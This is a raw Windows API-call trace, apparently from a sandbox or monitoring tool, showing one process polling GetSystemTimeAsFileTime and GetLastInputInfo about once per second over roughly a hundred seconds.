	[0825.381] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0826.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x50958450, dwHighDateTime=0x1d3d6d0)) 
	[0826.395] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0827.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x51303db0, dwHighDateTime=0x1d3d6d0)) 
	[0827.409] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0828.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x51caf710, dwHighDateTime=0x1d3d6d0)) 
	[0828.423] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0829.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5265b070, dwHighDateTime=0x1d3d6d0)) 
	[0829.437] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0830.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x530069d0, dwHighDateTime=0x1d3d6d0)) 
	[0830.451] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0831.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x539b2330, dwHighDateTime=0x1d3d6d0)) 
	[0831.465] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0832.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5435dc90, dwHighDateTime=0x1d3d6d0)) 
	[0832.479] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0833.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x54d095f0, dwHighDateTime=0x1d3d6d0)) 
	[0833.493] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0834.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x556b4f50, dwHighDateTime=0x1d3d6d0)) 
	[0834.507] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0835.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x560608b0, dwHighDateTime=0x1d3d6d0)) 
	[0835.529] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0836.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x56a0c210, dwHighDateTime=0x1d3d6d0)) 
	[0836.535] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0837.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x573b7b70, dwHighDateTime=0x1d3d6d0)) 
	[0837.549] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0838.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x57d634d0, dwHighDateTime=0x1d3d6d0)) 
	[0838.563] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0839.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5870ee30, dwHighDateTime=0x1d3d6d0)) 
	[0839.577] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0840.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x590ba790, dwHighDateTime=0x1d3d6d0)) 
	[0840.591] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0841.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x59a660f0, dwHighDateTime=0x1d3d6d0)) 
	[0841.605] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0842.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5a411a50, dwHighDateTime=0x1d3d6d0)) 
	[0842.619] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0843.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5adbd3b0, dwHighDateTime=0x1d3d6d0)) 
	[0843.633] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0844.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5b768d10, dwHighDateTime=0x1d3d6d0)) 
	[0844.647] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0845.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5c114670, dwHighDateTime=0x1d3d6d0)) 
	[0845.661] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0846.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5cabffd0, dwHighDateTime=0x1d3d6d0)) 
	[0846.675] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0847.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5d46b930, dwHighDateTime=0x1d3d6d0)) 
	[0847.689] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0848.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5de17290, dwHighDateTime=0x1d3d6d0)) 
	[0848.703] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0849.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5e7c2bf0, dwHighDateTime=0x1d3d6d0)) 
	[0849.717] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0850.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5f16e550, dwHighDateTime=0x1d3d6d0)) 
	[0850.731] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0851.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x5fb19eb0, dwHighDateTime=0x1d3d6d0)) 
	[0851.745] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0852.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x604c5810, dwHighDateTime=0x1d3d6d0)) 
	[0852.759] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0853.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x60e71170, dwHighDateTime=0x1d3d6d0)) 
	[0853.773] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0854.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6181cad0, dwHighDateTime=0x1d3d6d0)) 
	[0854.793] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0855.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x621c8430, dwHighDateTime=0x1d3d6d0)) 
	[0855.808] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0856.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x62b73d90, dwHighDateTime=0x1d3d6d0)) 
	[0856.823] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0857.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x63545850, dwHighDateTime=0x1d3d6d0)) 
	[0857.846] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0858.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x63ef11b0, dwHighDateTime=0x1d3d6d0)) 
	[0858.871] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0859.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6489cb10, dwHighDateTime=0x1d3d6d0)) 
	[0859.878] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0860.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x65248470, dwHighDateTime=0x1d3d6d0)) 
	[0860.895] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0861.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x65bf3dd0, dwHighDateTime=0x1d3d6d0)) 
	[0861.914] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0862.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6659f730, dwHighDateTime=0x1d3d6d0)) 
	[0862.920] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0863.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x66f711f0, dwHighDateTime=0x1d3d6d0)) 
	[0863.951] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0864.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6791cb50, dwHighDateTime=0x1d3d6d0)) 
	[0864.967] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0865.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x682c84b0, dwHighDateTime=0x1d3d6d0)) 
	[0865.975] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0866.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x68c73e10, dwHighDateTime=0x1d3d6d0)) 
	[0866.991] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0868.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6961f770, dwHighDateTime=0x1d3d6d0)) 
	[0868.005] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0869.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x69fcb0d0, dwHighDateTime=0x1d3d6d0)) 
	[0869.020] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0870.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6a976a30, dwHighDateTime=0x1d3d6d0)) 
	[0870.034] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0871.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6b322390, dwHighDateTime=0x1d3d6d0)) 
	[0871.048] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0872.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6bccdcf0, dwHighDateTime=0x1d3d6d0)) 
	[0872.064] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0873.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6c679650, dwHighDateTime=0x1d3d6d0)) 
	[0873.076] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0874.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6d024fb0, dwHighDateTime=0x1d3d6d0)) 
	[0874.090] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0875.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6d9d0910, dwHighDateTime=0x1d3d6d0)) 
	[0875.106] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0876.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6e37c270, dwHighDateTime=0x1d3d6d0)) 
	[0876.121] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0877.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6ed27bd0, dwHighDateTime=0x1d3d6d0)) 
	[0877.135] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0878.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x6f6d3530, dwHighDateTime=0x1d3d6d0)) 
	[0878.148] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0879.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7007ee90, dwHighDateTime=0x1d3d6d0)) 
	[0879.160] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0880.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x70a2a7f0, dwHighDateTime=0x1d3d6d0)) 
	[0880.170] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0881.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x713d6150, dwHighDateTime=0x1d3d6d0)) 
	[0881.188] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0882.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x71d81ab0, dwHighDateTime=0x1d3d6d0)) 
	[0882.201] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0883.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7272d410, dwHighDateTime=0x1d3d6d0)) 
	[0883.215] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0884.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x730d8d70, dwHighDateTime=0x1d3d6d0)) 
	[0884.229] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0885.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x73a846d0, dwHighDateTime=0x1d3d6d0)) 
	[0885.246] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0886.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x74430030, dwHighDateTime=0x1d3d6d0)) 
	[0886.260] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0887.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x74ddb990, dwHighDateTime=0x1d3d6d0)) 
	[0887.271] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0888.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x757872f0, dwHighDateTime=0x1d3d6d0)) 
	[0888.287] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0889.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x76132c50, dwHighDateTime=0x1d3d6d0)) 
	[0889.300] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0890.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x76ade5b0, dwHighDateTime=0x1d3d6d0)) 
	[0890.315] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0891.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x77489f10, dwHighDateTime=0x1d3d6d0)) 
	[0891.322] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0892.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x77e35870, dwHighDateTime=0x1d3d6d0)) 
	[0892.343] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0893.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x787e11d0, dwHighDateTime=0x1d3d6d0)) 
	[0893.358] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0894.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7918cb30, dwHighDateTime=0x1d3d6d0)) 
	[0894.370] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0895.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x79b38490, dwHighDateTime=0x1d3d6d0)) 
	[0895.390] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0896.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7a4e3df0, dwHighDateTime=0x1d3d6d0)) 
	[0896.404] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0897.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7aeb58b0, dwHighDateTime=0x1d3d6d0)) 
	[0897.427] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0898.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7b861210, dwHighDateTime=0x1d3d6d0)) 
	[0898.452] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0899.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7c20cb70, dwHighDateTime=0x1d3d6d0)) 
	[0899.465] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0900.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7cbb84d0, dwHighDateTime=0x1d3d6d0)) 
	[0900.479] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0901.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7d563e30, dwHighDateTime=0x1d3d6d0)) 
	[0901.494] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0902.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7df0f790, dwHighDateTime=0x1d3d6d0)) 
	[0902.507] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0903.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7e8bb0f0, dwHighDateTime=0x1d3d6d0)) 
	[0903.532] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0904.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7f266a50, dwHighDateTime=0x1d3d6d0)) 
	[0904.543] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0905.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x7fc123b0, dwHighDateTime=0x1d3d6d0)) 
	[0905.558] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0906.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x805bdd10, dwHighDateTime=0x1d3d6d0)) 
	[0906.569] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0907.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x80f69670, dwHighDateTime=0x1d3d6d0)) 
	[0907.583] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0908.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8193b130, dwHighDateTime=0x1d3d6d0)) 
	[0908.616] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0909.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x822e6a90, dwHighDateTime=0x1d3d6d0)) 
	[0909.628] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0910.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x82c923f0, dwHighDateTime=0x1d3d6d0)) 
	[0910.648] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0911.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8363dd50, dwHighDateTime=0x1d3d6d0)) 
	[0911.655] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0912.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x83fe96b0, dwHighDateTime=0x1d3d6d0)) 
	[0912.671] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0913.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x84995010, dwHighDateTime=0x1d3d6d0)) 
	[0913.685] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0914.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x85340970, dwHighDateTime=0x1d3d6d0)) 
	[0914.699] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0915.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x85cec2d0, dwHighDateTime=0x1d3d6d0)) 
	[0915.713] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0916.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x86697c30, dwHighDateTime=0x1d3d6d0)) 
	[0916.727] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0917.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x87043590, dwHighDateTime=0x1d3d6d0)) 
	[0917.740] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0918.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x879eeef0, dwHighDateTime=0x1d3d6d0)) 
	[0918.755] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0919.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8839a850, dwHighDateTime=0x1d3d6d0)) 
	[0919.768] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0920.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x88d461b0, dwHighDateTime=0x1d3d6d0)) 
	[0920.788] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0921.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x896f1b10, dwHighDateTime=0x1d3d6d0)) 
	[0921.797] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0922.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8a09d470, dwHighDateTime=0x1d3d6d0)) 
